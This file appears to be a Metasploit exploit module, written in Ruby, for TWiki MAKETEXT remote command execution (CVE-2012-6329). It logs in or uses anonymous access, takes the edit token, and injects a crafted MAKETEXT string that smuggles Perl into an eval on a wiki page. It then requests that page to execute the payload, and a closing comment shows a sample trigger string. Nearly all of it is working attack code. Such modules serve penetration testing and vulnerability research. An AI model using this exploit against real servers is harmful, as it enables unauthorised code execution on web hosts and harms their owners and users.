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| 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 | ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'TWiki MAKETEXT Remote Command Execution', 'Description'=> %q{ This module exploits a vulnerability in the MAKETEXT Twiki variable. By using a specially crafted MAKETEXT, a malicious user can execute shell commands since user input is passed to the Perl "eval" command without first being sanitized. The problem is caused by an underlying security issue in the CPAN:Locale::Maketext module. This works in TWiki sites that have user interface localization enabled (UserInterfaceInternationalisation variable set). If USERNAME and PASSWORD aren't provided, anonymous access will be tried. Also, if the 'TwikiPage' option isn't provided, the module will try to create a random page on the SandBox space.The modules has been tested successfully on TWiki 5.1.2 as distributed with the official TWiki-VM-5.1.2-1 virtual machine. }, 'Author' => [ 'George Clark', # original discovery 'juan vazquez' # Metasploit module ], 'License'=> MSF_LICENSE, 'References' => [ [ 'CVE', '2012-6329' ], [ 'OSVDB', '88460' ], [ 'BID', '56950' ], [ 'URL', 'http://twiki.org/cgi-bin/view/Codev/SecurityAlert-CVE-2012-6329' ] ], 'Privileged' => false, # web server context 'Payload'=> { 'DisableNops' => true, 'Space' => 1024, 'Compat'=> { 'PayloadType' => 'cmd', 'RequiredCmd' => 'generic ruby python bash telnet' } }, 'Platform' => [ 'unix' ], 'Arch' => ARCH_CMD, 'Targets'=> [[ 'Automatic', { }]], 'DisclosureDate' => 'Dec 15 2012', 'DefaultTarget'=> 0)) register_options( [ OptString.new('TARGETURI', [ true, "TWiki base path", "/" ]), OptString.new('TwikiPage', [ false, "TWiki Page with edit permissions to inject the payload, by default random Page on Sandbox (Ex: /Sandbox/MsfTest)" ]), OptString.new('USERNAME', [ false,"The user to authenticate as (anonymous if username not provided)"]), OptString.new('PASSWORD', [ false,"The password to authenticate with (anonymous if password not provided)" ]) ], self.class) end def do_login(username, password) res = send_request_cgi({ 'method' => 'POST', 'uri'=> "#{@base}do/login", 'vars_post' => { 'username' => username, 'password' => password } }) if not res or res.code != 302 or res.headers['Set-Cookie'] !~ /TWIKISID=([0-9a-f]*)/ return nil end session = $1 return session end def inject_code(session, code) vprint_status("Retrieving the crypttoken...") res = send_request_cgi({ 'uri'=> "#{@base}do/edit#{@page}", 'cookie' => "TWIKISID=#{session}", 'vars_get' => { 'nowysiwyg' => '1' } }) if not res or res.code != 200 or res.body !~ /name="crypttoken" value="([0-9a-f]*)"/ vprint_error("Error retrieving the crypttoken") return nil end crypttoken = $1 vprint_good("crypttoken found: #{crypttoken}") if session.empty? if res.headers['Set-Cookie'] =~ /TWIKISID=([0-9a-f]*)/ session = $1 else vprint_error("Error using anonymous access") return nil end end vprint_status("Injecting the payload...") res = send_request_cgi({ 'method' => 'POST', 'uri'=> "#{@base}do/save#{@page}", 'cookie' => "TWIKISID=#{session}", 'vars_post' => { 'crypttoken' => crypttoken, 'text' => "#{rand_text_alpha(3 + rand(3))} %MAKETEXT{\"#{rand_text_alpha(3 + rand(3))} [_1] #{rand_text_alpha(3 + rand(3))}\\\\'}; <code>#{code}</code>; { #\" args=\"#{rand_text_alpha(3 + rand(3))}\"}%" } }) if not res or res.code != 302 or res.headers['Location'] =~ /oops/ or res.headers['Location'] !~ /#{@page}/ print_warning("Error injecting the payload") print_status "#{res.code}\n#{res.body}\n#{res.headers['Location']}" return nil end location = URI(res.headers['Location']).path print_good("Payload injected on #{location}") return location end def check @base = target_uri.path @base << '/' if @base[-1, 1] != '/' res = send_request_cgi({ 'uri'=> "#{@base}do/view/TWiki/WebHome" }) if not res or res.code != 200 return Exploit::CheckCode::Unknown end if res.body =~ /This site is running TWiki version.*TWiki-(\d\.\d\.\d)/ version = $1 print_status("Version found: #{version}") if version < "5.1.3" return Exploit::CheckCode::Appears else return Exploit::CheckCode::Safe end end return Exploit::CheckCode::Detected end def exploit # Init variables @page = '' if datastore['TwikiPage'] and not datastore['TwikiPage'].empty? @page << '/' if datastore['TwikiPage'][0] != '/' @page << datastore['TwikiPage'] else @page << "/Sandbox/#{rand_text_alpha_lower(3).capitalize}#{rand_text_alpha_lower(3).capitalize}" end @base = target_uri.path @base << '/' if @base[-1, 1] != '/' # Login if needed if (datastore['USERNAME'] and not datastore['USERNAME'].empty? and datastore['PASSWORD'] and not datastore['PASSWORD'].empty?) print_status("Trying login to get session ID...") session = do_login(datastore['USERNAME'], datastore['PASSWORD']) else print_status("Using anonymous access...") session = "" end if not session fail_with(Exploit::Failure::Unknown, "Error getting a session ID") end # Inject payload print_status("Trying to inject the payload on #{@page}...") res = inject_code(session, payload.encoded) if not res fail_with(Exploit::Failure::Unknown, "Error injecting the payload") end # Execute payload print_status("Executing the payload through #{res}...") res = send_request_cgi({ 'uri'=> res, 'cookie' => "TWIKISID=#{session}" }) if not res or res.code != 200 or res.body !~ /HASH/ fail_with(Exploit::Failure::Unknown, "Error executing the payload") end print_good("Exploitation was successful") end end =begin * Trigger: %MAKETEXT{"test [_1] secondtest\\'}; <code>touch /tmp/msf.txt</code>; { #" args="msf"}% =end |
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